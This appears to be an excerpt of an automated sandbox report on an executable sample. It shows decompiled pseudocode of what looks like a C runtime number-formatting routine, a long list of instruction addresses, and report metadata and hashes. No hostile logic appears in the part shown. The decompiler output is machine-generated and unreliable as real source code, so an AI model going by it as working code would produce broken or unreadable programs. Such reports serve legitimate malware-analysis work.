															_t483 =  *(_t525 - 0x4d0);
														}
														goto L225;
													}
													L216:
													__eflags =  *(_t525 - 0x45c) - 7;
													if( *(_t525 - 0x45c) == 7) {
														goto L218;
													}
													L217:
													 *(_t525 - 0x4f8) = 0;
													goto L219;
												}
											}
											L184:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L187;
											}
											L185:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L187;
											}
											goto L186;
										}
										L180:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E00430570( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E004305F0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										goto L179;
									}
								}
								L165:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L167;
								}
								goto L166;
								L167:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L168;
							}
						}
					}
				}
			}

0x0043c026
0x0043c026
0x0043c026
0x0043c026
0x0043c026
0x0043c026
0x0043c026
0x0043c02d
0x0043c02d
0x0043c02d
0x0043c043
0x0043c043
0x0043c043
0x0043c04d
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x0043c092
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x0043c170
0x0043c170
0x0043c177
0x00000000
0x00000000
0x0043c179
0x0043c179
0x0043c184
0x0043c18a
0x0043c18c
0x0043c192
0x0043c195
0x0043c197
0x0043c19d
0x0043c1a6
0x0043c1ab
0x0043c1c8
0x0043c1cb
0x0043c1cb
0x0043c1d0
0x0043c1d5
0x0043c1d5
0x0043c1db
0x0043c1dd
0x0043c1e3
0x0043c1e9
0x0043c1e9
0x0043c1f2
0x0043c1f2
0x0043c1db
0x0043c1f8
0x0043c1fc
0x0043c20a
0x0043c20d
0x0043c210
0x0043c217
0x0043c219
0x0043c219
0x0043c1fe
0x0043c1fe
0x0043c1fe
0x0043c226
0x0043c226
0x0043c22c
0x0043c22e
0x0043c22e
0x0043c235
0x0043c23b
0x0043c23e
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24a
0x0043c24c
0x00000000
0x00000000
0x0043c24e
0x0043c254
0x0043c254
0x0043c25a
0x0043c2d7
0x0043c2dd
0x0043c2e0
0x0043c2e3
0x0043c2e6
0x0043c2e9
0x0043c2ef
0x0043c2ef
0x0043c2f5
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x0043c32a
0x0043c32d
0x0043c32d
0x0043c330
0x0043c335
0x0043c335
0x0043c33a
0x0043c351
0x0043c351
0x0043c354
0x0043c36b
0x0043c36b
0x0043c36e
0x0043c370
0x0043c375
0x0043c379
0x0043c379
0x0043c356
0x0043c356
0x0043c35b
0x0043c35f
0x0043c35f
0x0043c33c
0x0043c33c
0x0043c341
0x0043c345
0x0043c345
0x0043c33a
0x0043c383
0x0043c386
0x0043c389
0x0043c392
0x0043c392
0x0043c395
0x0043c397
0x0043c39e
0x0043c3a2
0x0043c3ab
0x0043c3b0
0x0043c3b3
0x0043c3ba
0x0043c3be
0x0043c3c2
0x0043c3ce
0x0043c3d1
0x0043c3d1
0x0043c3d4
0x0043c3d9
0x0043c3d9
0x0043c3dc
0x0043c3de
0x0043c3e5
0x0043c3e9
0x0043c3f2
0x0043c3f7
0x0043c3dc
0x0043c3fa
0x0043c3fe
0x0043c4b8
0x0043c4b8
0x0043c4bf
0x0043c4c3
0x0043c4c7
0x0043c4cb
0x00000000
0x0043c404
0x0043c404
0x0043c404
0x0043c408
0x00000000
0x00000000
0x0043c40e
0x0043c40e
0x0043c411
0x0043c417
0x0043c41a
0x0043c420
0x0043c420
0x0043c420
0x0043c42c
0x0043c42f
0x0043c435
0x0043c437
0x00000000
0x00000000
0x0043c439
0x0043c439
0x0043c43c
0x0043c442
0x0043c44a
0x0043c44c
0x0043c453
0x0043c45a
0x0043c469
0x0043c46f
0x0043c476
0x0043c484
0x0043c484
0x0043c48b
0x0043c497
0x0043c4a5
0x0043c4ab
0x00000000
0x0043c4ab
0x0043c478
0x0043c478
0x00000000
0x0043c478
0x0043c4b6
0x0043c4d3
0x0043c4d3
0x0043c4da
0x0043c4df
0x0043c4df
0x0043c4e2
0x0043c4e4
0x0043c4eb
0x0043c4f8
0x0043c4fd
0x0043c4e2
0x0043c4da
0x0043c500
0x0043c500
0x0043c504
0x0043c508
0x0043c50c
0x0043c514
0x0043c514
0x0043c51b
0x0043c51b
0x0043b69b
0x0043b6a2
0x0043b6af
0x0043b6b4
0x00000000
0x0043b6c7
0x0043b6d1
0x0043b6f8
0x0043b6df
0x0043b6f0
0x0043b6f0
0x0043b6d1
0x0043b702
0x0043b708
0x0043b714
0x0043b717
0x0043b725
0x0043b728
0x0043b735
0x0043b7da
0x0043b7e0
0x0043b7e6
0x0043b7ed
0x00000000
0x00000000
0x0043b7f3
0x0043b7f9
0x00000000
0x0043b800
0x0043b800
0x0043b81a
0x0043b81f
0x00000000
0x00000000
0x0043b827
0x0043b827
0x0043b82e
0x0043b831
0x0043b834
0x0043b837
0x0043b83a
0x0043b83d
0x0043b840
0x0043b847
0x0043b84e
0x00000000
0x00000000
0x0043b85a
0x0043b85a
0x0043b861
0x0043b86d
0x0043b870
0x0043b876
0x0043b87d
0x00000000
0x00000000
0x0043b87f
0x0043b885
0x0043b885
0x0043b88c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b8d0
0x0043b8d0
0x0043b8d7
0x0043b8da
0x0043b904
0x0043b907
0x0043b907
0x0043b911
0x0043b911
0x0043b915
0x0043b8dc
0x0043b8dc
0x0043b8e8
0x0043b8eb
0x0043b8ef
0x0043b8f1
0x0043b8f4
0x0043b8f4
0x0043b8f7
0x0043b8fa
0x0043b8fd
0x0043b8ff
0x0043b8ff
0x0043b902
0x0043b918
0x00000000
0x00000000
0x0043b91d
0x0043b91d
0x00000000
0x00000000
0x0043b929
0x0043b929
0x0043b930
0x0043b933
0x0043b953
0x0043b956
0x0043b956
0x0043b960
0x0043b960
0x0043b964
0x0043b935
0x0043b935
0x0043b941
0x0043b944
0x0043b948
0x0043b94a
0x0043b94a
0x0043b951
0x00000000
0x00000000
0x0043b96c
0x0043b96c
0x0043b973
0x0043b97f
0x0043b982
0x0043b988
0x0043b98f
0x0043baa2
0x00000000
0x0043baa2
0x0043b995
0x0043b99b
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9d9
0x0043b9d9
0x0043b9dc
0x0043b9df
0x0043b9e2
0x0043ba09
0x0043ba09
0x0043ba0c
0x0043ba0f
0x0043ba12
0x0043ba36
0x0043ba36
0x0043ba39
0x0043ba3c
0x0043ba3f
0x0043ba78
0x0043ba89
0x00000000
0x0043ba89
0x0043ba41
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x00000000
0x00000000
0x0043ba4c
0x0043ba4c
0x0043ba4f
0x0043ba52
0x0043ba55
0x00000000
0x00000000
0x0043ba57
0x0043ba57
0x0043ba5a
0x0043ba5d
0x0043ba60
0x00000000
0x00000000
0x0043ba62
0x0043ba62
0x0043ba65
0x0043ba68
0x0043ba6b
0x00000000
0x00000000
0x0043ba6d
0x0043ba6d
0x0043ba70
0x0043ba73
0x0043ba76
0x0043ba7a
0x00000000
0x0043ba7a
0x00000000
0x0043ba76
0x0043ba14
0x0043ba14
0x0043ba17
0x0043ba1b
0x0043ba1e
0x00000000
0x0043ba20
0x0043ba23
0x0043ba26
0x0043ba2c
0x0043ba31
0x00000000
0x0043ba31
0x0043ba1e
0x0043b9e4
0x0043b9e4
0x0043b9e7
0x0043b9eb
0x0043b9ee
0x00000000
0x0043b9f0
0x0043b9f3
0x0043b9f6
0x0043b9fc
0x0043ba01
0x00000000
0x0043ba01
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8e
0x0043ba91
0x00000000
0x00000000
0x0043b9a9
0x0043b9a9
0x0043b9ac
0x0043b9af
0x0043b9b2
0x0043b9cb
0x0043b9ce
0x0043b9ce
0x0043b9d1
0x0043b9b4
0x0043b9b4
0x0043b9b7
0x0043b9ba
0x0043b9c0
0x0043b9c6
0x0043b9c6
0x00000000
0x00000000
0x0043ba96
0x0043ba96
0x0043ba99
0x0043ba99
0x0043ba9f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043baa7
0x0043baa7
0x0043baae
0x0043bab4
0x0043baba
0x0043babd
0x0043bac3
0x0043baca
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043c320
0x0043bad0
0x0043bad6
0x0043bad6
0x0043badd
0x00000000
0x0043be61
0x0043be61
0x0043be6f
0x0043be6f
0x0043be72
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043bae7
0x0043baed
0x0043baef
0x0043baf2
0x0043baf2
0x0043baf5
0x0043baf5
0x00000000
0x00000000
0x0043bc2a
0x0043bc2d
0x0043bc2d
0x0043bc32
0x0043bc34
0x0043bc37
0x0043bc37
0x0043bc3a
0x0043bc3a
0x00000000
0x00000000
0x0043c02d
0x0043c02d
0x00000000
0x00000000
0x0043bb94
0x0043bb94
0x0043bba0
0x0043bba6
0x0043bbad
0x0043bbbb
0x0043bbbb
0x0043bbc1
0x0043bbc4
0x0043bbd0
0x0043bc25
0x00000000
0x0043bc25
0x0043bbaf
0x0043bbaf
0x0043bbb5
0x0043bbb9
0x0043bbd8
0x0043bbd8
0x0043bbde
0x0043bc06
0x0043bc0d
0x0043bc13
0x0043bc16
0x0043bc19
0x0043bc1f
0x0043bc22
0x0043bbe0
0x0043bbe0
0x0043bbe6
0x0043bbe9
0x0043bbec
0x0043bbf2
0x0043bbf5
0x0043bbf8
0x0043bbfa
0x0043bbfd
0x0043bbfd
0x00000000
0x0043bbde
0x00000000
0x00000000
0x0043be79
0x0043be7c
0x0043be7f
0x0043be82
0x0043be88
0x0043be8b
0x0043be92
0x0043be96
0x0043bea1
0x0043bea1
0x0043bea5
0x0043bebc
0x0043bebc
0x0043bec3
0x0043bec5
0x0043bec5
0x0043becc
0x0043becc
0x0043bed3
0x0043bee1
0x0043bee4
0x0043bef3
0x0043bef6
0x0043befa
0x0043bf0f
0x0043befc
0x0043befc
0x0043beff
0x0043bf05
0x0043bf0a
0x0043bf0a
0x0043befa
0x0043bf19
0x0043bf1c
0x0043bf1f
0x0043bf22
0x0043bf25
0x0043bf28
0x0043bf2e
0x0043bf34
0x0043bf3c
0x0043bf3d
0x0043bf40
0x0043bf41
0x0043bf44
0x0043bf45
0x0043bf4c
0x0043bf4d
0x0043bf50
0x0043bf51
0x0043bf54
0x0043bf55
0x0043bf5b
0x0043bf5c
0x0043bf6b
0x0043bf6d
0x0043bf73
0x0043bf73
0x0043bf78
0x0043bf7a
0x0043bf7e
0x0043bf80
0x0043bf88
0x0043bf89
0x0043bf8c
0x0043bf8d
0x0043bf9c
0x0043bf9e
0x0043bf9e
0x0043bf7e
0x0043bfa1
0x0043bfa8
0x0043bfab
0x0043bfb0
0x0043bfb0
0x0043bfb6
0x0043bfb8
0x0043bfc0
0x0043bfc1
0x0043bfc4
0x0043bfc5
0x0043bfd3
0x0043bfd5
0x0043bfd5
0x0043bfb6
0x0043bfd8
0x0043bfdb
0x0043bfde
0x0043bfe1
0x0043bfe6
0x0043bfeb
0x0043bfee
0x0043bff1
0x0043bff1
0x0043bff4
0x0043bff4
0x0043bff7
0x0043c003
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x0043c320
0x0043bea7
0x0043bea7
0x0043beae
0x0043beb1
0x00000000
0x00000000
0x0043beb3
0x0043beb3
0x00000000
0x0043beb3
0x0043be98
0x0043be98
0x00000000
0x00000000
0x0043baf8
0x0043baf8
0x0043bb03
0x0043bb0b
0x0043bb12
0x0043bb15
0x0043bb15
0x0043bb18
0x0043bb71
0x0043bb78
0x0043bb1a
0x0043bb21
0x0043bb27
0x0043bb2d
0x0043bb34
0x0043bb37
0x0043bb3d
0x0043bb45
0x0043bb47
0x0043bb4e
0x0043bb55
0x0043bb5c
0x0043bb64
0x0043bb66
0x0043bb68
0x0043bb68
0x0043bb6f
0x0043bb7f
0x0043bb85
0x0043bb88
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x0043c00b
0x0043c00e
0x0043c011
0x0043c014
0x00000000
0x00000000
0x0043bd6a
0x0043bd6a
0x0043bd76
0x0043bd7c
0x0043bd81
0x0043bd83
0x0043be2d
0x0043be2d
0x0043be30
0x0043be30
0x0043be33
0x0043be47
0x0043be4d
0x0043be53
0x0043be35
0x0043be35
0x0043be3b
0x0043be42
0x0043be42
0x0043be55
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043c320
0x0043bd89
0x0043bd89
0x0043bd89
0x0043bd8b
0x0043bd99
0x0043bd8d
0x0043bd8d
0x0043bd8d
0x0043bda3
0x0043bda9
0x0043bdaf
0x0043bdb6
0x0043bdb8
0x0043bdbd
0x0043bdbf
0x0043bdc4
0x0043bdc9
0x0043bdcb
0x0043bdd0
0x0043bdd3
0x0043bdd6
0x0043bdd8
0x0043bdd8
0x0043bdd6
0x0043bdd9
0x0043bde0
0x0043be28
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043bde2
0x0043bde2
0x0043bde7
0x0043be03
0x0043be0b
0x0043be15
0x0043be18
0x0043be1d
0x00000000
0x0043be1d
0x00000000
0x0043c074
0x0043c074
0x0043c07e
0x0043c07e
0x0043c084
0x0043c086
0x0043c089
0x0043c089
0x0043c08f
0x0043c08f
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc3d
0x0043bc3d
0x0043bc41
0x0043bc4f
0x0043bc52
0x0043bc43
0x0043bc43
0x0043bc43
0x0043bc58
0x0043bc5e
0x0043bc64
0x0043bc70
0x0043bc76
0x0043bc76
0x0043bc79
0x0043bd01
0x0043bd01
0x0043bd05
0x0043bd07
0x0043bd0d
0x0043bd0d
0x0043bd10
0x0043bd17
0x0043bd1a
0x0043bd20
0x0043bd20
0x0043bd20
0x0043bd26
0x0043bd2c
0x0043bd2f
0x0043bd35
0x0043bd37
0x00000000
0x00000000
0x0043bd39
0x0043bd39
0x0043bd3f
0x0043bd42
0x0043bd44
0x00000000
0x00000000
0x0043bd46
0x0043bd4c
0x0043bd4f
0x0043bd4f
0x0043bd57
0x0043bd57
0x0043bd5d
0x0043bd5d
0x0043bd62
0x00000000
0x0043bc7f
0x0043bc7f
0x0043bc7f
0x0043bc83
0x0043bc85
0x0043bc8a
0x0043bc8a
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bca8
0x0043bca8
0x0043bca8
0x0043bcab
0x0043bcb1
0x00000000
0x00000000
0x0043bcb3
0x0043bcb3
0x0043bcb9
0x0043bcbc
0x0043bcbe
0x00000000
0x00000000
0x0043bcc0
0x0043bcc0
0x0043bcc9
0x0043bccf
0x0043bcd3
0x0043bcdb
0x0043bcdd
0x0043bcdf
0x0043bce5
0x0043bce5
0x0043bce8
0x0043bce8
0x0043bcf4
0x0043bcf7
0x0043bc9f
0x0043bca2
0x0043bca2
0x0043bca5
0x0043bca5
0x0043bcff
0x0043bd65
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043c320
0x00000000
0x0043c01d
0x0043c01d
0x0043c092
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043c16e
0x00000000
0x0043c039
0x0043c039
0x0043c043
0x0043c043
0x0043c04d
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x0043c092
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043c16e
0x00000000
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x00000000
0x0043b8a9
0x0043b8a9
0x0043b8ac
0x0043b8af
0x00000000
0x00000000
0x0043b8b4
0x0043b8b7
0x0043b8bd
0x00000000
0x00000000
0x0043b89e
0x0043b8a1
0x0043b8a4
0x00000000
0x00000000
0x0043b893
0x0043b896
0x0043b899
0x00000000
0x00000000
0x0043b8c2
0x0043b8c2
0x0043b8c5
0x0043b8c5
0x0043b8c8
0x00000000
0x00000000
0x0043b8cb
0x00000000
0x00000000
0x0043b73b
0x0043b73b
0x0043b73d
0x0043b74b
0x0043b73f
0x0043b73f
0x0043b73f
0x0043b75b
0x0043b768
0x0043b76a
0x0043b76f
0x0043b771
0x0043b776
0x0043b77b
0x0043b77d
0x0043b782
0x0043b788
0x0043b78a
0x0043b78a
0x0043b788
0x0043b78b
0x0043b792
0x00000000
0x0043b794
0x0043b799
0x0043b7b5
0x0043b7bd
0x0043b7ca
0x0043b7cf
0x0043c5e4
0x0043c5f1
0x0043c5f1
0x0043b792
0x0043b735
0x0043c520
0x0043c520
0x0043c527
0x0043c53e
0x0043c53e
0x0043c548
0x0043c548
0x0043c54e
0x0043c554
0x0043c55b
0x0043c55d
0x0043c562
0x0043c564
0x0043c569
0x0043c56e
0x0043c570
0x0043c575
0x0043c578
0x0043c57b
0x0043c57d
0x0043c57d
0x0043c57b
0x0043c57e
0x0043c585
0x0043c5d0
0x0043c5d9
0x0043c5de
0x0043c587
0x0043c58c
0x0043c5a8
0x0043c5b0
0x0043c5bd
0x0043c5c2
0x0043c5c2
0x00000000
0x0043c585
0x0043c529
0x0043c529
0x0043c530
0x00000000
0x00000000
0x0043c532
0x0043c532
0x00000000
0x0043c532
0x0043c320
0x0043c2f7
0x0043c2f7
0x0043c2fb
0x0043c308
0x0043c30b
0x0043c30e
0x0043c311
0x0043c314
0x0043c317
0x0043c31a
0x0043c31a
0x0043c31d
0x00000000
0x0043c31d
0x0043c2fd
0x0043c2fd
0x0043c300
0x0043c303
0x0043c306
0x00000000
0x00000000
0x00000000
0x0043c306
0x0043c25c
0x0043c25c
0x0043c25f
0x0043c262
0x0043c269
0x0043c270
0x0043c278
0x0043c27e
0x0043c281
0x0043c284
0x0043c28b
0x0043c297
0x0043c29d
0x0043c2a3
0x0043c2aa
0x0043c2ac
0x0043c2b2
0x0043c2b2
0x0043c2b8
0x0043c2b8
0x0043c2be
0x0043c2c7
0x0043c2cc
0x0043c2cf
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24a
0x0043c24c
0x00000000
0x00000000
0x00000000
0x0043c24c
0x0043c23e
0x0043c17b
0x0043c17b
0x0043c182
0x00000000
0x00000000
0x00000000
0x0043c1b0
0x0043c1b0
0x0043c1b6
0x0043c1bc
0x0043c1c2
0x00000000
0x0043c1c2
0x0043c092
0x0043c043
0x0043c02d

APIs

_get_int64_arg.LIBCMTD ref: 0043C0A0
__aullrem.LIBCMT ref: 0043C270
__aulldiv.LIBCMT ref: 0043C292

Strings

9, xrefs: 0043C2A3

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction ID: f175f5eccb6ef6030504d6f6b9b448c965c43b9215f101ed2f7cf2105689f994
Opcode Fuzzy Hash: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction Fuzzy Hash: 9C4105B1E002299FDF24CF98C881BAFB7B4BF89314F10519AD148B7241D7785A85DF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043C074, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C074(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E00428150(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E00428150(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E00428150(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E00428150(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428170(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428170(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
